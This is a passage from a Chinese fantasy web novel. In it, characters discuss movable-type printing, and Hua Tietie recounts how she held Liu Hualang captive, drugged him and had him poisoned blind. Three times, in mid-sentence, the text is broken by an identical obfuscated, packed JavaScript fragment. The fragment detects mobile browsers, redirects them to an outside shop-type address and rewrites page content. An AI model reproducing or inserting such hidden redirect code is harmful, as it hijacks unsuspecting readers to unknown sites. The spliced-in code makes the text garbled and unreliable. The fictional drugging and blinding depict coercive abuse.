平安把柳花郎抱来的几本书拿给我,和我们简单介绍了一下活字印刷术。活字印刷果然比以前雕版印刷更加省时省力,两天不到的功夫,这几本厚厚的歌词选集就已经印好了。 齐王惠王翻阅着选集,连连称奇,说柳花郎脑子真是活泛,虽然只是稍稍做了一下改变,但到底是第一个想出这法子的人,就和第一个想到使用火种第一个发明制造轮子的人是一样的,功在千秋。 平安却忽然有些担心起来,把我拉到一边说在那个世界活字印刷术是一个叫毕昇的人发明的,是一场意义非常重大的和造纸司南火药三大发明并列,载入史册的技术变革,尤其纸张和印刷这两项,对人类文明的发展起到无法估量的推进作用,堪称是历史节点,其历史价值影响极其深远广泛,完全不同于柳花郎之前那些小打小闹,柳花郎这样随意拿来使用,会不会造成时空节点扭曲,破坏历史平衡? 我虽然对平安说的有些词汇理解不深,但明显感觉出她的焦虑,知道此事的重要性,但我认为造纸司南火药和印刷在我们这个世界早就有了,柳花郎只是把印刷术改良,应该不会引起轩然大波,这项技术早晚都要改良问世,差别无非是谁提出,谁早一点晚一点提出而已。 想到这里,我叫平安不要过分担心,说你们俩在两个世界的穿越,本来就不合常理,柳花郎的新奇玩意那么多,要是破坏早就破坏了。说不定柳花郎来到这个世界就是担负这种天命的,有些东西就该随着他的到来而出现。“你向来谨慎小心,可不还是推动了很多东西的出现和发展吗?别的不说,就比如蕾丝抹胸还有猪长平的婚纱。” 平安蹙眉,哎呀一声,说我不懂,说她那些都无伤大雅,对历史的进程毫无影响,可柳花郎已经触及技术层面了,她很是担心。 我呵呵一笑,道这个世界将来有没有毕昇这个人,到底会不会有毕昇这个人,没人说得准,万一柳花郎提出的活字印刷我们顾虑太多不敢公开于世,后世却也没有一个叫毕昇的人出现,那么咱们岂不是影响了历史进程,阻碍了历史发展?咱们还是顺其自然的好,明天的事儿咱们都说不准,后世的事儿哪轮得到咱们操心,我劝平安不要太多顾虑,实在应该学习一下柳花郎,敢想敢干,不枉此生。 “别怕,真要是捅了什么篓子,那也是老天自己先捅了篓子放你俩穿越的,可老天怎么会犯错呢?老天无过错,只要发生了,那就是天意,天意使然天意如此,人就要顺应天意。好啦好啦,别愁闷了,操心人会变老的,何况还操着老天爷的心?快,笑一笑,不然老了你家清哥哥该不喜欢你了。”说着我伸手抚平她的眉心。 “才不会,你少吓我,我怎样清哥哥都会喜欢我的。”一脸愁容忐忑不安的平安,终还是渐渐放下心来,笑了笑,壮着胆子,自我安慰道:“你说得对,我们都是小小的凡人,那么渺小,不过是大海里的一滴水,俗世里的一粒尘埃而已。我和柳花郎都是意外的存在,生活了这么多年这个世界也没怎么样,我可不要杞人忧天了,天塌下来和我有什么关系,我们就是蝼蚁,蝼蚁能捅出什么篓子来?” 换句话说,得捅出什么天大的篓子来,才能影响到历史的发展走向,从而引起天道的注意,不得不强行把他们抹掉呢?再说历史本来就有修正性,小小的意外都会被修正,他们却连小小的意外都算不上,就这样平平凡凡微不足道的活着,那还担心什么? “诚如你所说,就算我们真的做了什么影响很大的事儿,存在即合理,老天让我们来了,我们做什么都合理,只是改良印刷术而已,又没有杀人放火伤天害理。”平安越说胆子越壮,可最后还是想要得到我的认同才安心似得,向我问道:“长安你说对吧?” “对!你说得太对了。”我很郑重的点点头表示认可。 可下一刻,平安就软了下来,“万一呢,万一改变了历史怎么办?” “可我们这里的历史本来就和那个世界的不一样啊?与其说改变历史,焉知不是在创造历史呢?”我的反问让平安一时间瞪大了眼睛,旋即她醍醐灌顶恍然大悟的样子,后来她把我们这一番言论,说与柳花郎听,柳花郎就洒脱很多,他觉得这个世界就是为了他而存在的,他就是这个世界的大男主,他虽然开局不利,不能修仙了,但天生他才必有用,他想怎么折腾就怎么折腾,最后给出的结论就是,实在不行就毁灭。 平安嫌他没个正形,说她可不舍得这个世界毁灭,这里有她爱的人,有爱她的人,她很喜欢这里,很爱很爱这里。不过终究是受到了影响,后来平安做事虽然自有论断,却也没那么束手束脚顾虑良多了。 平安回过神来,和我一起低头看着手里的歌词选集,忽然我们同时想到什么,又异口同声:可这种东西也没什么好显摆的啊? 以我们对柳花郎的了解,不是特别惊艳的东西他才不会拿来和我们炫耀,一是平安和他知根知底儿,二是我眼眶子高,嘴巴毒,不入眼的东西,他拿来显摆必定挨奚落。 那……是什么东西呢?总归不是这几本歌词,这种东西柳花郎怕是怎么也拿不出手的,所以我们确信他必定还藏着什么大招,那就等他醒了再说吧。于是我们回去坐定,和齐王惠王一同翻看歌词选集,看着上面通俗易懂的文字,不经意轻轻哼唱。 “铁铁,你跟柳花郎,你们怎么回事儿?”我爬在软榻上,一手着脸,一手翻书页,小腿抬起交叉着,小脚悠闲的抖动,一边哼着小曲儿,一边好似不经意的样子问。 “和他跟你们说的差不多。”花铁铁也好似很随意的样子回答,见我不继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033213|147774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往下问,便按捺不住了,道:“你都不知道,这位神人多勇!”花铁铁看了看齐王和惠王,爬过来趴在我耳边打算小声和我说。 我被她气息哈得太痒痒了,不禁笑得花枝乱颤,缩着脖子躲了躲,道:“哎,别过来怪痒痒的,你就那样说吧,没啥不好说的,他早就全招了,我们都知道的,连他怎么自己解得催~情药,他都一五一十和我们说了,你这个都还在,你还有什么不好说的?”说着我指了指她的守宫砂。 花铁铁抚着守宫砂,有底气人就硬气,却还是满脸不可置信道:“他连这都和你,你们说了?”花铁铁看了看平安,刚才平安可没提这茬。平安微微红了脸,点点头。 我啧了一声道:“她又不是故意把你蒙在鼓里,你可别怨我妹妹,这种事儿她怎么和你说,别说姑娘家,就是男儿也不好主动提的。你不也没打算提吗?柳花郎也是我硬问出来的。他还拐弯抹角的,扭扭捏捏支支吾吾,死样子。和你一起那么久,一点也没学到你直言不讳的优点。 说起这个,我就不得不佩服你,你呀浑身都是优点,可我觉得最难能可贵的,也是我最喜欢的就是你素来有话就直说,别人不问你想不起来也就罢了,只要问了,你必定知无不言言无不尽,这一点儿天底下没人比得上你,连我都差你一大截!且得好好和你学呢。” 花铁铁觉得她和柳花郎的事儿都天下大白了,还真没啥不好说的了。又被我一顿捧杀,就放开大说特说,补全了故事的另一半。 当年,花铁铁把受伤的堂邑夫送回我师门,见我师父救活了堂邑夫以后,就回了南唐,还误以为我是修仙门的,料想她一个凡人,此生怕是再也没有能力和我一较高低了,心里抑郁了好一阵子。恰逢她那江湖人称万事通的二师兄在门中准备婚事,一日和师兄弟们喝酒闲聊,随口透露一桩趣事,说南唐各门各派的女弟子,连修仙门的女弟子也暗中现世出动,都在因为疯抢一个奇才柳花郎,正和南塘摄政王妹打的不可开交。说者无意,听者有心。 花铁铁再细打听,二师兄的消息也仅此而已了,她师兄可是万事通包打听,这事儿竟然连他二师兄都弄不清亮,说明其中更有蹊跷,彼时花铁铁因为我和我师父,对修仙门的事非常敏感,此事又涉及修仙门女弟子,敏锐的花铁铁十分确定柳花郎此人的重要性,于是便关注起来。 正好有人派任务,去摄政王宫劫人,虽然任务发放者警觉性高严防死守嘴巴紧得很,还是给花铁铁了解到了前因后果。南边江湖毕竟不比北边,关系错综复杂向来混乱,任务时常牵涉门阀世家,即便是夜探摄政王宫劫人这种虎口拔牙的事儿,花铁铁艺高人胆大,她也是敢的。而且她原本就仗义,摄政王妹跋扈多年,她早就十分看不惯,如今劫人,也是救人,她自然鼎力相助。 96. 旧事 可是任务还没开始,摄政王妹就病入膏肓了,柳花郎逃出王府,躲避追缉的时候正好遇上花铁铁。是不是正好,我们也无从考证,反正花铁铁是这么说的。 花铁铁说,一开始他们相安无事,相处甚好。柳花郎为人也单纯天真(没混过江湖都这样),一时被人救下,被人善待,以为逃出生天,心存感念,便在花铁铁的关心下(我猜其实是有目的慎伪装循循善诱的诱导下),把他在摄政王府的前因后果,细枝末节,一五一十全给说了。 那花铁铁何等聪明,把套出来的话和先前知道的所有内情一连贯一整合再一分析,说她当时简直要欢喜炸了。 可不是要欢喜炸了吗?那么个大宝贝到她手了,我都难以想象她是怎么忍着喜大普奔的心情,按捺住性子,一直等到柳花郎熟睡后,才趁机灌入内力加以探测。 那可是天生仙骨,而且是一根废骨都没有的绝世修仙圣体。花铁铁说她那时激动地又哭又笑,整个人抑制不住疯傻了一般。那这话她说的肯定含蓄了。我想她当时还不知道弄出多大动静,以至于惊醒了柳花郎,虽未让他看出什么端倪,却也埋下了怀疑的种子。 花铁铁见识了通体仙骨那还了得,必是当即就下定决心——立志修仙!一边把柳花郎连哄带骗私藏起来留作后用,一边四处收集大乱战时期遗落俗世的修真典籍,苦心研究。 我想她应该怕是还去修仙门偷来着,不过修仙门毕竟是修仙门,她武功再高也不敢轻易造次,花铁铁应该是没有什么特别大的斩获,不然早就和我显摆了。果然不出我所料,花铁铁不否认。 平安疑惑花铁铁想要修仙为什么不直接拜入仙门? 我说花铁铁是有师门的人,不能再去拜别的山头,人也不收。而且守着柳花郎这么个大宝贝,也实在没必要再去拜什么修仙门了,自己独享不香吗? 再者大乱战后北边仙门都已寂灭,南边仙门虽然残存但也式微,一群牛鼻子老道,会点法术也确实有点本事,但得道的早已飞升成仙了,真正存世的高手也凤毛麟角,又都闭关修行不问俗世,那些凡人尚且能见着的一般的修仙门人,大多本事一般,武力也就那样,花铁铁不跟他们造次,不是打不过他们,实在是他们虽然遁世不问红尘,但是仙门间极为团结,护短的很,报复人的术法又多,轻易得罪不得,否则便是天涯海角也甩不掉了。 而且花铁铁藏着这么一个宝贝,她是不会招惹麻烦的,回头再叫人围攻,给抢去了,她得不偿失。她是好汉,从来不吃眼前亏。 我们回归正题,花铁铁继续说道,她刚研究出点门道的时候,柳花郎就吵吵着要走,那些个外面危险,让他好生待着不要乱跑的话再也搪塞不住了,柳花郎不听劝,也不听哄了。眼见柳花郎是确确实实看破了她的诡计,花铁铁也不装了,就跟他摊牌了。柳花郎简直怄得要吐血,感觉自己受到了欺骗和玩弄,实在是出了狼窝进了虎穴。 还真是进了虎穴,花铁铁在江湖上的名号就是胭脂虎。 柳花郎闹得十分厉害,花铁铁好话说尽也不行,就来硬的,往往半句软话没说完,一言不合就打晕,最后都给柳花郎打得不想活了,也不想醒了。那一段时间,柳花郎便总在床上躺着晕晕沉沉的,睡着的时候胡言乱语,醒着的时候疯言疯语,不开心的时候大吼大叫,开心……他那一阵子就没有开心的时候…… 花铁铁见柳花郎不跑了(其实是晕得没法儿跑了),便转变了方式,虚情假意想骗他感情,无微不至床前伺候,照顾他的时候张口闭口说真心喜欢他,想和他好之类的话。可是都不成功。那哪能成功啊?柳花郎那是吃过见过的,在摄政王妹那里什么招式没尝过没试过,在花铁铁这儿粗制滥造的再经历一遍,怎么可能成功呢? 柳花郎是个硬骨头,宁死不屈的脾气,后来天天绝食有气无力地喊着要自由,花铁铁强行喂食,勉强度日,感觉他比自己之前那个心爱的小花猪难喂多了,心想这样下去也不是回事儿,别再养不活了,就写信向我求助。 那时候我已经接手了鬼门,堂邑夫也刚好痊愈,正着手启动上郡隆御山庄的案子。一开始我还在信里开解她牛不喝水就算了,咱也不是嫁不出去,不稀罕强按头的主儿,强扭的瓜不甜云云。 可是很快就被花铁铁来信打脸训斥,说以前我帮许四娘追男人的时候,教人家强扭的瓜不甜就蘸酱吃,这会儿轮到她怎么就变了,不帮就不帮,念那些老婆子经作甚,说她若不是实在没招了也不找我,不给出主意就算了,还给打退堂鼓,果然应了那就话,世间除了自己没人靠得住,她真是看错我了云云,说她弄了点药,她要生米煮成熟饭!到时候可以不计前嫌,请我去喝喜酒。 我让她说得脸红极了,心里因此对她十分愧疚。是的,花铁铁素来要强,向人求助这种事,就和找人借钱一样,那个嘴是不那么好张的。尤其是我,花铁铁定是遇到了很难很难的事儿,自己没办法处理,不知道下了怎样的决心才对我开口的,可我……唉,我都干了什么?活该被骂! 讲到这里,花铁铁又把我揶揄一番,我低着头再次跟她道歉,又嘴硬道:“还不是你没说清楚柳花郎的重要性?我还以为是个寻常男子而已。” “哟,还敢反过来找我的茬,是不是寻常男子,你都得帮我,别管我撒没撒谎,瞒没瞒你,资要是我开了口,说那是我心上人,你就得帮我!”花铁铁说的在理,问题的关键不是柳花郎的重要性,而是我帮没帮。 我心有些虚了,弱弱道:“那,那后来不是给你出主意帮忙了吗?你都不知道我还受罚了呢。” “受罚了?受什么罚?”花铁铁难以置信,却伸着脖子一脸兴奋的好奇打听。 于是我便补齐我这一边的故事,娓娓道来:不久后,我又收到花铁铁的信,还以为是请帖,打算去上郡之前,先动身去南边喝她喜酒,叫上堂邑夫一块儿,备个大礼随个大份子。想着看完信就去,结果打开信一看是她情郎快不行了,要我赶紧开点药,然后说我心眼不少鬼点子多,叫我万万帮着出出主意,怎么才能留住她情郎,说她要是没了这个情郎,活着也没意思,就死了算完,再不认我这个朋友,生生世世都不认。 彼时我想应该是花铁铁太能要了,给人玩坏了,就是生米煮成熟饭的时候,火候太大,把饭煮糊了。花铁铁闻言立即打断我说:“幸好点了守宫砂,不然还真说不清了。把饭煮糊?你可真敢想啊,我得怎样,火得多大,才能把‘饭’煮糊?” “你不是说你用药嘛,我就寻思……哎呀,这根本不是故事的重点好吧?你不要打断我嘛,咱们都偏题了,你老是跑偏。”我叫她不要在意我那些无关紧要的胡思乱想,强调人又不是万能的,都是根据眼前情况判断形势,和事实有出入是正常的,所以咱们今天才坐一块儿互通有无交代清楚啊。 我警告她要是再打断我,我就不说了,花铁铁自然点头同意。 于是我接着道:那时我虽然不赞同花铁铁的做法,但到底是铁铁的至交好友,尽管做了这么多年对头,对她为人实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050208|147774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了解,完全能感受到花铁铁信中的无助和焦灼,虽然她文笔不好,但她向来不求人,更从来没一再的这般祈求我帮忙,看来是实在没招了。 彼时我顿感事态严重,只道怕是铁铁动了真情,万分心疼花铁铁,于是十分气愤是哪个不长眼的小子,居然看不上花铁铁,是有多看不上啊,竟让花铁铁一个女子无计可施,黔驴技穷,不得不拉下面子用强。我甚至感同身受。 花铁铁闻言脸上神色精彩异常,我立即反应过来失言了,她所谓的真心动情,不过是江湖女子为达目的惯用的美人杀,饶是痴心款款都是虚情假意,眼下她不好分晓,众人未必不懂,私下评判也就罢了,摆上台面,论断起来就是她攻计于心,为人狡诈。 没在明面上定罪,自然不需要平反,这档口我坚决不能再多嘴帮她辩解,越描越黑,多说多错无异揭穿,非但不能给她摘干净,反而给她定罪,好心办坏事,有时候比背刺还伤人,既要忍下苦楚,还不能责备半分。 于是花铁铁只能打碎牙齿往肚子里咽,对她当时假意对柳花郎动了感情这回事儿默不作声。我心中明白她的难处,虽然面上自顾自的样子接着叙事,却想着赶紧把话题拉扯开。她自己搬石头砸了自己的脚,我不能再砸她一次。 不过也借此敲打她,之前她大咧咧地揭露我在上郡太守府和隆御山庄事宜的时候,我也被架火上烤呢。裤子谁扒的,谁扒的裤子,我记得门儿清!出来混都是要还的,谁还不扒谁裤子呀。 我继续道:当时想着上郡一行凶险异常,不知道还能不能回来,以后铁铁那边再有什么状况,我怕是也帮不上了,于是就给了她我师父珍藏多年的十分珍贵的火灵草,为了一绝后患,怕她情郎身体康复以后又要乱跑,便给她出主意把情郎眼睛毒瞎,担心她情郎因此怨恨她与她断情绝爱,我本着一人做事一人当的原则,打着明人不做暗事儿的招牌,嘱托她把这事儿连同信上的内容和她情郎摊开,都推到我身上,要恨就恨我。如此瞎了眼的情郎必定消停,将来他们也有希望等到摒弃前嫌日久生情的一天。 花铁铁原本就不喜欢柳花郎,如今都不修仙了,便更是厌烦柳花郎,想起当时的念头和两人的过往,简直犹如吃屎一般难受的不行,却能忍着没打断我,我心道:哟,这个花铁铁,这几年还真是长进不少了呢!不错不错。 我给了花铁铁一个赞赏的眼神,她也因为我的知心解意而心情舒缓,对着我会心一笑。 我接着道:我配好了药,就叫堂邑夫给花铁铁送去了。结果我始终过不去无端害人的坎儿,内心愧疚神色慌张,睡不安稳梦中呓语,叫我师兄苏和听了个正着,我便被狠狠斥责罚去跪师父的画像,因为不肯认错改错,差点跪死,最终跟苏和顶嘴闹翻,把他气的带着弟子头也不回的就走了。 我是故意的,因为我真的很怕上郡一行,回不来……他走了,我们从此再不相见…… 花铁铁很感动,她没想到我能因为她跟我师兄闹翻。将我抱在怀里连连道歉,自责连累了我,这些事儿她先前都不知道,还曾那样怪罪我来着。我占了理儿,便傲娇的在她怀里仰着头道:“以后欺负我的时候,可得念着这份儿恩情啊。不然我真翻脸!” 花铁铁不停地点头,不停地亲我,我都给她亲臭了,使劲儿躲,使劲儿推了推她,她才又亲了两口才放开我。 前因后果一番讲述,事情大概捋顺,就差一些小细节了,于是我问花铁铁:“你这守宫砂不是还在吗,柳花郎怎么一下子就快不行了呢?” 97. 机缘 花铁铁大剌剌地说,她打算下药用强,可是没什么经验,药下得有点多(怕不是有点多,怕是非常过量),药瞬间起了反应,柳花郎恼羞成怒,花铁铁说那是她第一次见识到什么是真正的恼羞成怒。 柳花郎气疯似的嗷嗷吼,说摄政王妹就算用强也没下这么恶劣的药作践他,骂她比摄政王妹还卑鄙,还无耻,柳花郎为了侮辱花铁铁,不仅说她行为粗鲁,根本不是个女人,比不上摄政王妹一个脚趾头,还说他就算是回去再和摄政王妹日日欢好,也心甘情愿,就算是死也断然不会让花铁铁得逞云云,自己掐着自己的脖子捍卫自己的贞操,企图用掐死自己的方式来震慑花铁铁,达到威胁花铁铁的目的。 花铁铁根本不关心也不担心柳花郎会死,只把他的话儿一琢磨,恍然:这柳花郎给摄政王妹睡过了,脏了,她便觉得恶心,犹豫了。所以根本不是柳花郎自以为的宁死不屈挽救了自己的清白。 脏了?那个时候就开始嫌脏了?我算了一下时间线,立马明了。怪不得在信里语气悲怆要死要活的,原来那个时候花铁铁大师姐和二师兄就已经闹翻打杀起来了,作为曾经备受他们二人宠爱的老三,彼时花铁铁两头为难,两头不讨好,两头受气受责备,挨埋怨还得负责传话,其中辛苦纠结多番煎熬,不足为外人道,可最后还是落得里外不是人,这都不要紧,最重要的是门派乱了散了,二师兄一去不复返,大师姐发了疯…… 女人更容易共情女人,花铁铁必定是大受打击,那个时候已经被她大师姐影响了。又在柳花郎这里屡屡受挫受辱…… 我很心疼花铁铁,可此时她却无所谓的样子,很洒脱的呵呵一笑,继续说,她那时候正犹豫着,要不要勉强用一下,毕竟这是个天生仙骨,双修圣体,就算不能飞升成仙,做个地仙也足够世人仰慕的,到时候我也得对她顶礼膜拜。 我撇嘴哼了一下,心道,你想的美。 接着花铁铁似乎想起了什么,扭曲着脸,强忍着难以遏制的恶心,道:“我,我,我当时只是犹豫了一下,稍稍犹豫了那么一下下,这个傻子就……就……”花铁铁举了举手,强撑着不适,艰难道:“他就用手,你知道吧,就用手,就当着我的面就……你知道我当时多无助吗,想死的心都有了……”我可以理解,用平安的话就是炸裂了。 花铁铁说,她没见过这么勇的人,当时也害怕了,就跑出去了,两三天都没回去,等回去的时候,柳花郎的仙根已经断了,只有一点摄政王妹的真气在撑着,于是花铁铁死马当活马医,学着我师父救堂邑夫的样子,将自己的内力输送给柳花郎,误打误撞,还真就把仙根给修复了,但是柳花郎还是昏昏沉沉,半死不活的样子。 即便这样花铁铁也努力支撑着柳花郎的性命,总还保有一丝希望,直到花铁铁大师姐离世。 时间线终于完完整整的对上了,也就是那个时候,花铁铁大师姐心灰意冷自杀了,花铁铁失魂落魄,看着昏迷不醒的柳花郎,原本还只是对师姐的劝诫犹犹豫豫,打算为了修仙稍作妥协的花铁铁,彻底转变的观念——男人脏了,就不能用了,就算是修仙也不行! 你都不打算用了,“那你还给我写信?要死的要活的求我救他,求我出主意留他在你身边?我要知道他都那样了,断然不给你配那瞎眼药。白瞎我师父的火灵草哟!”我很是不解,抑制心中恼火,感觉有点被戏耍。 “我本来是由着他去死的。可那毕竟是仙骨,天生仙骨,一根废骨都没有的修仙圣体,我苦恼了好一阵子的。万事都要留后手不是你教我的嘛,没多久我不就……我还是改主意了,倒不是为了我自己,也不是为了和你争高下,你了解我的,我断不会为了这些恶心我自己。 而是,我终究觉得我大师姐死得太不值当了,她是自杀她真傻,我听说自杀是不愿意再做人了,不好再投人胎的,我舍不得师姐,想着要是我修炼成仙,是不是可以去地府把我师姐的魂魄掬来,不想做人就不做人,只别随意投胎去,我点化她在我身边做个名正言顺的仙侍,终归不用再入轮回投生成那些个乱七八糟的受尽凡尘之苦不是? 就算不能,我也能跟阎王求个情,开个后门儿,给她托个好来生。”花铁铁道:“于是我就向你写信求助,我哭着写完的,我想无论如何也要把柳花郎这个傻子救活,无论如何也要努力尝试一下,万一呢,万一成仙了呢?你也知道,我很有天赋的……” 花铁铁说我送的药很好用,柳花郎很快就好了,但是眼睛给毒瞎了,就消沉起来,因为恨毒了我们两个魔头,他选择不死,却也不好好活着……花铁铁心情也不好,门里的事儿也多,两个人互相煎熬着……终归没有我祝愿的那样日久生情…… “那后来呢?”我问道:“他怎么给跑了?” “你也死了,杜晦也死了,我其实也不想活了,可是,身体发肤受之于父母,我总要好好爱护,想着慢慢熬完这辈子吧!可我有机会能修仙啊……”花铁铁扶了扶我的头,亲了亲我的小脸蛋,道:“再见到你真好,还好你没死,你呀作恶多端的,下地狱不知道要吃多少苦呢,你最怕吃苦,最怕疼的,还好一共就十八层。” 我翻了个白眼,并不打断花铁铁。 花铁铁呵呵笑了笑说:“我想我若是修仙成了,就第一时间赶去地府把你,把你们都掬回来点化成仙,可是……”花铁铁漠然的瞟了一眼柳花郎,别过头去叹了口气,道:“日子好难熬啊,于是我就先修习入门术法,却连门路都没摸到,然后隔三差五出来做任务,换换心情,这次误领了任务,跟着任务拖延的久了些,便给这厮跑了……” 花铁铁看了看昏睡的柳花郎,有些恍惚,仿佛又回到了师门那些日子,花铁铁冷漠地苦笑一声,道:“还真是个演戏的高手,一副生无可恋的样子,却不过是隐忍做戏,逮着机会居然就跑到大汉来了,一个柔弱不能自理,手无缚鸡之力的瞎子……” 人有千面,花铁铁眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050391|147774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的柳花郎必定和我们看到的不一样! 平安道:“不论如何,柳花郎都该谢谢你,不是你把他藏的那么好,南唐那些专攻修行的女弟子们不会放过他的。得亏是你把他藏了那么久,他相声匿迹了,跑出来的时候才畅通无阻,不然又要不知落到谁手里呢,到时候可不那么轻松了,回头我给花郎说道说道,把误会说开,叫他认清事实,不好再对你成见这么深了,你救了他两次呢,要不是你给他修复仙根,好好养活他,他就算再是个天生仙骨也早就化成一堆白骨了。” “可他怕是只会想,要不是我给他下药,他仙根也不会断。”花铁铁不在意柳花郎对她会不会改观,只对平安的善解人意感到暖心。 我明白其实是平安终于弄清楚前因后果,觉得以前实在误解了花铁铁而感到愧疚,对花铁铁有了新的认识,终于能够公平公正的看待柳花郎和花铁铁的关系了。 还有一些细节要弄清楚,“你知道摄政王妹为什么忽然病入膏肓,病得快死了嘛?”我试探地问花铁铁。 花铁铁完全不在意的样子,道:“大约是坏事做尽,遭天谴了呗。” “果然不出我所料,还真是没摸到修真的门道,你和那摄政王妹一个样,看了几本修仙散籍,皮毛都没学到,就敢涉足双修,无知者无畏,但你们也太肆意妄为了些,你可真是虎啊,不过你好人有好报,躲过一劫,摄政王妹就没积什么阴鸷,以为修仙和练武功内力一样没有门槛儿,上来就强行结合,结果被柳花郎采阴补阳反噬了。” 花铁铁闻言愣了愣,忽然失魂落寞道:“那是我好人有好报躲过一劫吗?分明是我大师姐替了我。” 闻言,我们都沉默了,良久不语。 世间万事都有机缘:若不是堂邑夫对她情窦初开没忍住亲她惹了她,也不会受了重伤被花铁铁送回师门,花铁铁见不到我师父,就不会动了修仙的心思,也见识不到可以用内力救人的法子,后来修复仙根保下柳花郎一命。 她二师兄要是洁身自好,也生不出那些事儿来,回师门一心准备婚事多好,要不是他觉得无聊喝酒闲谈,花铁铁也想不到去摄政王府劫人,正好救下柳花郎,可要不是受她大师姐的影响,花铁铁怕是早就无所顾忌以身试法,强行结合,早就被反噬得香消玉殒了…… 若是最先她和堂邑夫情投意合就好了……可那里也不是这段机缘的源头——若不是我从杜晦那里偷了情报打算气一气花铁铁,堂邑夫也不会私自轻举妄动,坏了花铁铁门里的任务……可谁叫花铁铁嫉妒杜晦老是夸我偏袒我,哄骗我拉我去偷看杜晦洗澡还给我使了个小绊子…… 可要不是花铁铁,我也不会偷看到杜晦,那在傍海道我又怎么能根据杜晦大腿根儿上的胎记,认出面目全非的他呢……唉,不说了不说了,千丝万缕,道不尽!缘,就是个圈,不知道哪里是开始,也不知道哪里是结局,就像师父的手环——蛇头咬着蛇尾,因果交织,没头没尾的循环着! 98. 言和 齐王不同于惠王,他是在我们结识柳花郎之后才来的,第一次听到花铁铁和柳花郎的事,不禁感叹道:“协律郎柳延年居然还有这么一段离奇过往。”他和柳花郎的际遇倒有些相似,都吃过女人的亏。 柳花郎改名字了,又担任乐府官职,除了我和平安,堂邑夫这些自家人,其他人包括亲王在内也都要称呼其姓名官职。比如韩燕熙现在是中大夫,我们现在称呼韩燕熙就是韩大夫,与旁人提及时要称呼中大夫韩燕熙。 花铁铁一脸茫然问道:“柳延年?谁是柳延年?他吗?”花铁铁蹙眉指了指柳花郎。 平安看了看花铁铁,缩了缩脖子,不做声,只继续做法式刺绣。抹胸的罩面绣好了,就拿起剪子叫翡翠过来帮忙撑着,裁剪下来拿进去缝合。 我把柳延年这个名字的来历解释了一番。花铁铁气不打一处来,“这个死鬼死不死啊,搞得好像我多稀罕他我赖着他似的,我姓花啊,明明是他蹭我的姓氏做名字,这么有志气怎么不……”花铁铁忽然顿住,眼睛转了转,计上心头的样子,道:“我也改名字,我以后就叫……花柳柳,我看他还能如何?哼,有本事连姓都改了!” 可拉倒吧,花柳柳?我心里这般嘀咕,嘴上却道:“你可真是一点活路都不给他留啊!名没了,接下来姓也给收了,绝了,绝啦……”我说着一脸敬佩折服的样子,拍着巴掌称赞她技高一筹。 花铁铁仰头畅快大笑。 平安道:“铁铁你这玩笑说说就行了,可别来真的哈,大丈夫行不更名坐不改姓,没了姓名,花郎还怎么立足与世间。”他如今事业做得很大,柳延年的名号已经渐渐打响了。 平安不安地看了看我,我自然会意,道:“放心放心,花铁铁这名号响堂堂的,她才舍不得改,花柳柳这名字听着就跟有病死的,谁知道谁认识啊,铁铁只是退出江湖,又不是退出世间,改了名字也没法立足了。再说这名字取得,像是两人情缘未了似得,怎么着……你口是心非啦?” 我一副‘你别是真动了心,余情未了,旧情难忘,却死鸭子嘴硬吧’的样子。 花铁铁看我那种神情,立马就炸了,道:“滚,我看见他就恶心。”花铁铁觉得怎么又搬起石头砸自己的脚了,“啧”了一声道:“我这是犯的什么浑,花柳柳?这么恶心的名字,我改这名字干啥,亏我想得出来,我是怎么想出来的?这么想不开?” “……啊哈哈哈……”众人顿了一下,不禁笑了起来,花铁铁蹙眉看了我们一圈,也忍不住跟着笑起来,还真是可爱呢。 韩燕熙把草木染一切工序所用物品都准备妥当,我和花铁铁就在平安的指挥下,开始动起手来,我们将地毯铺好,韩燕熙摊开整匹蚕丝素布,拿着小木锤子过来,不等平安开口,他先有模有样的教我们做草木染,我和花铁铁看到他轻车熟路的样子,知道这些活儿这厮怕是没少干,还未说些什么,平安就不好意思的别过头去,生怕我们探究。 我和花铁铁自然不会在平安这里哪壶不开提哪壶,识趣的赶紧做活。众人敲敲打打,有说有笑,有商有量的摆弄草木叶子,安排花色分布,然后浸泡漂洗,一匹布就染好了。我和花铁铁,一人拽着布匹的一头,朝不同方向拧,哗啦哗拉地挤出水来。 韩燕熙光着膀子,将拧干的布匹一圈一圈缠在身上,染坊的工人也是这样做工的,他虽是官身,但既然要做这漂染的活计,此举便也不足为奇,他甚至还挺乐意的,花铁铁低声和我说这人不错,怪好的,和南唐那些重视繁文崇尚礼教,满口仁义道德,其实道貌岸然的酸腐书生不一样。 